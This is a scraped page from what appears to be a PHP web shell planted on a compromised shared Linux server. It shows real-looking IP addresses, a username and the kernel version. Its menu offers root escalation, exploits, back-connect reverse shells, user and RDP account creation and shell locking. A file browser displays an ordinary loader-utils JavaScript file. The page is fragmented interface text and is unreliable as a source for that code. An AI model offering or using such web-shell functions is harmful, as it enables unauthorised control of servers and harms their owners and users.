Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
loader-utils /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
hash
[ DIR ]
drwxr-xr-x
getCurrentRequest.js
359
B
-rw-r--r--
getHashDigest.js
2.03
KB
-rw-r--r--
getOptions.js
398
B
-rw-r--r--
getRemainingRequest.js
371
B
-rw-r--r--
index.js
926
B
-rw-r--r--
interpolateName.js
3.69
KB
-rw-r--r--
isUrlRequest.js
709
B
-rw-r--r--
parseQuery.js
1.48
KB
-rw-r--r--
parseString.js
436
B
-rw-r--r--
stringifyRequest.js
1.64
KB
-rw-r--r--
urlToRequest.js
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stringifyRequest.js
'use strict'; const path = require('path'); const matchRelativePath = /^\.\.?[/\\]/; function isAbsolutePath(str) { return path.posix.isAbsolute(str) || path.win32.isAbsolute(str); } function isRelativePath(str) { return matchRelativePath.test(str); } function stringifyRequest(loaderContext, request) { const splitted = request.split('!'); const context = loaderContext.context || (loaderContext.options && loaderContext.options.context); return JSON.stringify( splitted .map((part) => { // First, separate singlePath from query, because the query might contain paths again const splittedPart = part.match(/^(.*?)(\?.*)/); const query = splittedPart ? splittedPart[2] : ''; let singlePath = splittedPart ? splittedPart[1] : part; if (isAbsolutePath(singlePath) && context) { singlePath = path.relative(context, singlePath); if (isAbsolutePath(singlePath)) { // If singlePath still matches an absolute path, singlePath was on a different drive than context. // In this case, we leave the path platform-specific without replacing any separators. // @see https://github.com/webpack/loader-utils/pull/14 return singlePath + query; } if (isRelativePath(singlePath) === false) { // Ensure that the relative path starts at least with ./ otherwise it would be a request into the modules directory (like node_modules). singlePath = './' + singlePath; } } return singlePath.replace(/\\/g, '/') + query; }) .join('!') ); } module.exports = stringifyRequest;
Close